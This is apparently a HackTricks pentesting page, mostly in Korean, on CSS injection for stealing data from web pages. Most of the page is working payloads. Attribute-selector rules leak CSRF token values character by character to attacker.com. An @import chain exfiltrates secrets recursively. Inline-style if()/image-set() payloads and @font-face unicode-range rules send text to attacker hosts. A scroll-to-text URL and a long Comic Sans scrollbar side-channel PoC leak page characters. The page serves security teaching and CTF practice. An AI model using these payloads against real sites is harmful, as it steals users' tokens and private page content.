CSS Injection

Reading time: 22 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

CSS Injection

Attribute Selector

CSS 선택자는 input 요소의 namevalue 속성 값과 일치하도록 작성됩니다. 만약 input 요소의 value 속성 값이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

그러나 이 방식은 숨겨진 input 요소(type="hidden")를 다룰 때 제한이 있습니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.

숨겨진 요소 우회 방법

이 제한을 우회하려면 이후의 형제 요소를 타깃하기 위해 ~ 일반 형제 선택자를 사용할 수 있습니다. 그러면 CSS 규칙이 숨겨진 input 요소 다음에 오는 모든 형제 요소에 적용되어 배경 이미지가 로드됩니다:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

A practical example of exploiting this technique is detailed in the provided code snippet. You can view it here.

Prerequisites for CSS Injection

For the CSS Injection technique to be effective, certain conditions must be met:

  1. Payload Length: CSS injection 벡터는 조작된 selectors를 수용할 수 있을 만큼 충분히 긴 payload를 지원해야 합니다.
  2. CSS Re-evaluation: 페이지를 프레이밍(frame)할 수 있어야 하며, 이는 새로 생성된 payload로 CSS 재평가를 트리거하는 데 필요합니다.
  3. External Resources: 이 기법은 외부에 호스팅된 이미지를 사용할 수 있다고 가정합니다. 이는 사이트의 Content Security Policy (CSP)에 의해 제한될 수 있습니다.

Blind Attribute Selector

As explained in this post, it's possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

이것을 다음 @import 기법과 결합하면, blind-css-exfiltration을 사용한 blind 페이지로부터 CSS injection으로 많은 info를 exfiltrate할 수 있습니다.

@import

이전 기법에는 몇 가지 단점이 있으니, 사전 요구사항을 확인하세요. 피해자에게 여러 링크를 보낼 수 있어야 하거나, 또는 CSS injection 취약 페이지를 iframe할 수 있어야 합니다.

하지만, 기술의 품질을 개선하기 위해 **CSS @import**를 사용하는 또 다른 영리한 기법이 있습니다.

이것은 Pepe Vila가 처음 제시했으며, 작동 방식은 다음과 같습니다:

이전처럼 동일한 페이지를 매번 수십 개의 서로 다른 payload로 반복해서 로드하는 대신, 우리는 페이지를 한 번만 로드하고 공격자 서버로의 import만 포함시키는 방식(이것이 피해자에게 보낼 payload이다)을 사용할 것입니다:

css
@import url("//attacker.com:5001/start?");
  1. import는 공격자로부터 어떤 CSS 스크립트를 받게 되며 브라우저가 이를 로드한다.
  2. 공격자가 보낼 CSS 스크립트의 첫 부분은 또 다른 @import로 attackers server에 대한 요청이다.
  3. attackers server는 아직 이 요청에 응답하지 않을 것이다. 우리는 일부 문자를 leak한 다음, 다음 문자들을 leak할 payload로 이 import에 응답하려고 하기 때문이다.
  4. payload의 두 번째이자 더 큰 부분은 attribute selector leakage payload가 될 것이다.
  5. 이것은 attackers server로 secret의 첫 문자와 마지막 문자를 전송할 것이다.
  6. attackers server가 secret의 첫 문자와 마지막 문자를 수신하면, 2단계에서 요청된 import에 응답할 것이다.
  7. 응답은 단계 2, 3, 4와 정확히 동일하지만, 이번에는 secret의 두 번째 문자와 끝에서 두 번째 문자를 찾으려고 할 것이다.

attacker는 이 루프를 secret을 완전히 leak할 때까지 반복한다.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

tip

스크립트는 매번 시작과 끝에서 각각 2개의 문자를 발견하려고 시도한다(앞과 뒤에서). 이는 attribute selector가 다음과 같은 동작을 허용하기 때문이다:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

이렇게 하면 스크립트가 secret을 더 빠르게 leak할 수 있다.

warning

때때로 스크립트는 발견된 prefix + suffix가 이미 완전한 flag라는 것을 올바르게 감지하지 못하고, prefix는 앞으로, suffix는 뒤로 계속 진행하다가 어느 시점에서 멈출 수 있다.
걱정할 필요는 없다. output을 확인하면 flag를 볼 수 있다.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: 요소의 style 속성을 제어하고 대상 속성이 동일한 요소에 있도록 보장한다 (attr()은 동일 요소의 속성만 읽는다).
  • Read: 속성 값을 CSS 변수로 복사한다: --val: attr(title).
  • Decide: 변수를 문자열 후보들과 비교하는 중첩된 조건문으로 URL을 선택한다: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: background: image-set(var(--steal))(또는 네트워크 요청을 발생시키는 다른 속성)를 적용해 선택된 엔드포인트로 요청을 강제한다.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

동작하는 payload (비교 시 큰따옴표 필수):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

중첩된 조건문으로 속성 값 열거:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

실제 시연 (사용자 이름 탐색):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes and limitations:

  • 연구 시점에는 Chromium 기반 브라우저에서 동작합니다; 다른 엔진에서는 동작이 다를 수 있습니다.
  • 유한/열거 가능한 값 공간(IDs, flags, 짧은 사용자명)에 가장 적합합니다. 외부 스타일시트 없이 임의의 긴 문자열을 탈취하는 것은 여전히 어렵습니다.
  • URL을 가져오는 모든 CSS 속성은 요청을 트리거하는 데 사용할 수 있습니다(예: background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

다른 선택자

DOM의 일부에 접근하는 다른 방법들 (CSS selectors 사용):

  • .class-to-search:nth-child(2): 이것은 DOM에서 클래스 "class-to-search"를 가진 두 번째 항목을 검색합니다.
  • :empty selector: 예를 들어 this writeup에서 사용됨:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

전체 의도는 제어되는 엔드포인트에서 커스텀 폰트를 사용하고, 지정된 리소스(favicon.ico)를 불러올 수 없을 때만 텍스트(이 경우, 'A')가 해당 폰트로 표시되도록 하는 것입니다.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Custom Font Usage:
  • <head> 섹션의 <style> 태그 내에서 @font-face 규칙을 사용해 custom font가 정의되어 있습니다.
  • 폰트 이름은 poc이며 외부 엔드포인트(http://attacker.com/?leak)에서 가져옵니다.
  • unicode-range 속성은 U+0041로 설정되어 특정 유니코드 문자 'A'를 타겟팅합니다.
  1. Object Element with Fallback Text:
  • <body> 섹션에 id="poc0"<object> 요소가 생성됩니다. 이 요소는 http://192.168.0.1/favicon.ico에서 리소스를 로드하려 시도합니다.
  • 이 요소의 font-family<style> 섹션에 정의된 대로 'poc'로 설정됩니다.
  • 해당 리소스(favicon.ico)를 불러오지 못하면 <object> 태그 내부의 폴백 콘텐츠(문자 'A')가 표시됩니다.
  • 외부 리소스를 불러올 수 없는 경우 폴백 콘텐츠('A')는 custom font poc로 렌더링됩니다.

Styling Scroll-to-Text Fragment

The :target pseudo-class는 CSS Selectors Level 4 specification에 명시된 대로 URL fragment에 의해 타겟된 요소를 선택하는 데 사용됩니다. ::target-text는 텍스트가 fragment로 명시적으로 타겟되지 않는 한 어떤 요소와도 매치되지 않는다는 점을 이해하는 것이 중요합니다.

공격자가 Scroll-to-text fragment 기능을 악용하면 HTML injection을 통해 자신의 서버에서 리소스를 불러와 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있다는 보안 문제가 발생합니다. 이 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:

css
:target::before {
content: url(target.png);
}

이러한 경우 페이지에 "Administrator" 텍스트가 있으면, 리소스 target.png가 서버로 요청되어 해당 텍스트가 존재함을 나타냅니다. 이러한 attack의 한 사례는 주입된 CSS를 Scroll-to-text fragment와 함께 포함하는 특수 제작된 URL을 통해 실행될 수 있습니다:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

여기서는 공격자가 HTML injection을 조작하여 CSS 코드를 전송하고, Scroll-to-text fragment (#:~:text=Administrator)를 통해 특정 텍스트 "Administrator"를 대상으로 합니다. 해당 텍스트가 발견되면 지정된 리소스가 로드되어 공격자에게 그 존재가 의도치 않게 알려집니다.

완화 조치로는 다음 사항들을 주의해야 합니다:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF)는 단어나 문장만 매칭하도록 설계되어 임의의 비밀이나 토큰을 leak할 수 있는 능력을 제한합니다.
  2. Restriction to Top-level Browsing Contexts: STTF는 최상위 브라우징 컨텍스트에서만 작동하고 iframes 내에서는 동작하지 않아, 어떤 exploitation 시도도 사용자에게 더 눈에 띄게 만듭니다.
  3. Necessity of User Activation: STTF는 작동을 위해 user-activation 제스처를 필요로 하므로 exploitation은 사용자에 의해 시작된 네비게이션을 통해서만 실현 가능합니다. 이 요구사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 글 작성자는 공격의 자동화를 용이하게 할 수 있는 특정 조건 및 우회 방법(예: social engineering, 널리 사용되는 browser extensions와의 상호작용)을 지적합니다.

이러한 메커니즘과 잠재적 취약점을 인지하는 것이 웹 보안을 유지하고 이러한 악용 전술로부터 보호하는 데 핵심입니다.

자세한 내용은 원문 리포트를 확인하세요: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

You can check an exploit using this technique for a CTF here.

@font-face / unicode-range

페이지에서 특정 유니코드 값에 대해 외부 폰트(external fonts)를 지정할 수 있으며, 해당 유니코드 값이 페이지에 존재할 때에만 수집됩니다. 예를 들면:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

이 기법은 font ligatures를 악용하고 너비 변화를 관찰하여 노드의 텍스트를 추출하는 방법을 설명합니다. 과정은 다음과 같습니다:

  1. Creation of Custom Fonts:
  • SVG fonts를 만들어 glyph에 horiz-adv-x 속성을 설정하여 두 문자 시퀀스를 나타내는 glyph의 너비를 크게 만듭니다.
  • 예제 SVG glyph: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, 여기서 "XY"는 두 글자 시퀀스를 나타냅니다.
  • 그런 다음 이 폰트들을 fontforge를 사용해 woff 포맷으로 변환합니다.
  1. Detection of Width Changes:
  • CSS로 텍스트가 줄 바꿈되지 않도록 (white-space: nowrap) 하고 스크롤바 스타일을 커스터마이즈합니다.
  • 가로 스크롤바가 특정하게 스타일링되어 나타나는 것은 특정 ligature(따라서 특정 문자 시퀀스)가 텍스트에 존재함을 나타내는 오라클 역할을 합니다.
  • 관련 CSS:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Exploit Process:
  • Step 1: 폭이 큰 쌍 문자(pair)용 폰트를 생성합니다.
  • Step 2: 큰 너비 glyph(ligature)가 렌더링될 때를 감지하기 위해 스크롤바 기반 트릭을 사용하여 해당 문자 시퀀스의 존재를 확인합니다.
  • Step 3: ligature가 감지되면, 감지된 쌍을 포함하고 앞뒤에 문자를 추가한 세 글자 시퀀스를 나타내는 새로운 glyph를 생성합니다.
  • Step 4: 세 글자 ligature의 감지를 수행합니다.
  • Step 5: 이 과정을 반복하여 전체 텍스트를 점진적으로 드러냅니다.
  1. Optimization:
  • 현재 <meta refresh=...를 사용하는 초기화 방법은 최적이 아닙니다.
  • 더 효율적인 접근법으로 CSS @import 트릭을 사용하면 exploit 성능을 향상시킬 수 있습니다.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

이 트릭은 이 Slackers thread에서 공개되었습니다. text node에서 사용된 charset은 브라우저에 기본 설치된 기본 폰트만 사용하여도 유출될 수 있습니다: 외부 폰트나 커스텀 폰트가 필요 없습니다.

개념은 애니메이션을 사용해 div의 너비를 점진적으로 확장하여 한 번에 한 문자씩 텍스트의 'suffix' 부분에서 'prefix' 부분으로 이동하게 하는 것입니다. 이 과정은 텍스트를 두 부분으로 나눕니다:

  1. Prefix: 초기 라인.
  2. Suffix: 이후 라인들.

문자들의 전이 단계는 다음과 같이 보입니다:

C
ADB

CA
DB

CAD
B

CADB

이 전이 동안, unicode-range trick을 사용해 prefix에 합류하는 각 새 문자를 식별합니다. 이는 글꼴을 Comic Sans로 전환함으로써 이루어지며, Comic Sans가 기본 폰트보다 눈에 띄게 더 높기 때문에 수직 스크롤바가 발생합니다. 이 스크롤바의 출현은 새로운 문자가 prefix에 들어왔음을 간접적으로 드러냅니다.

이 방법은 등장하는 고유 문자를 감지할 수 있지만, 어떤 문자가 반복되었는지는 특정하지 못하고 단지 반복이 발생했음을 알리는 것뿐입니다.

tip

기본적으로 unicode-range는 문자를 감지하는 데 사용됩니다, 하지만 외부 폰트를 로드하고 싶지 않으므로 다른 방법을 찾아야 합니다.
char찾아지면, 그 문자에는 사전 설치된 Comic Sans 폰트가 적용되어 문자가 더 커지고 결과적으로 스크롤바를 트리거하며 이는 찾아진 문자를 leak합니다.

Check the code extracted from the PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Reference: 이것은 an unsuccessful solution in this writeup로 언급되어 있습니다.

이 경우는 이전 것과 매우 유사하지만, 여기서는 특정한 문자를 다른 문자보다 더 크게 만들어 숨기는 것이 목표입니다 — 예를 들어 봇이 누르지 않도록 버튼을 숨기거나 이미지를 로드되지 않게 하는 경우입니다. 따라서 동작(또는 동작의 부재)을 측정해서 특정 문자가 텍스트에 존재하는지 알 수 있습니다.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Reference: 이것은 an unsuccessful solution in this writeup로 언급되어 있습니다.

이 경우에는 같은 origin에서 fake font를 로드하여 텍스트에 특정 char가 있는지를 leak하려고 시도할 수 있습니다:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the 폰트는 /static/bootstrap.min.css?q=1에서 로드됩니다. 비록 성공적으로 로드되지는 않겠지만, 브라우저는 이를 캐시해야 하며, 캐시가 없어도 304 not modified 메커니즘이 있어서 응답이 다른 것들보다 더 빠를 것입니다.

그러나 캐시된 응답과 비캐시 응답 간의 시간 차이가 충분히 크지 않다면, 이것은 유용하지 않습니다. 예를 들어, 작성자는 다음과 같이 언급했습니다: 그러나 테스트해보니 첫 번째 문제는 속도 차이가 크지 않았고, 두 번째 문제는 봇이 disk-cache-size=1 플래그를 사용한다는 점인데, 이는 정말 신중한 설정이라고 합니다.

Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

참고: 본 내용은 an unsuccessful solution in this writeup에서 언급되어 있습니다

이 경우 매치가 발생하면 동일한 오리진에서 수백 개의 가짜 폰트를 로드하도록 CSS를 지정할 수 있습니다. 이렇게 하면 소요 시간을 측정해서 특정 char가 나타나는지 여부를 다음과 같은 방식으로 알아낼 수 있습니다:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

그리고 봇의 코드는 다음과 같습니다:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

따라서 폰트가 일치하지 않으면 봇을 방문할 때 응답 시간은 대략 30초 정도가 될 것으로 예상됩니다. 반면 폰트가 일치하면 폰트를 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 그 결과 중지 조건을 만족시키고 응답을 받는 데 더 오래 걸립니다. 따라서 응답 시간은 폰트 일치 여부를 판단하는 지표로 사용할 수 있습니다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기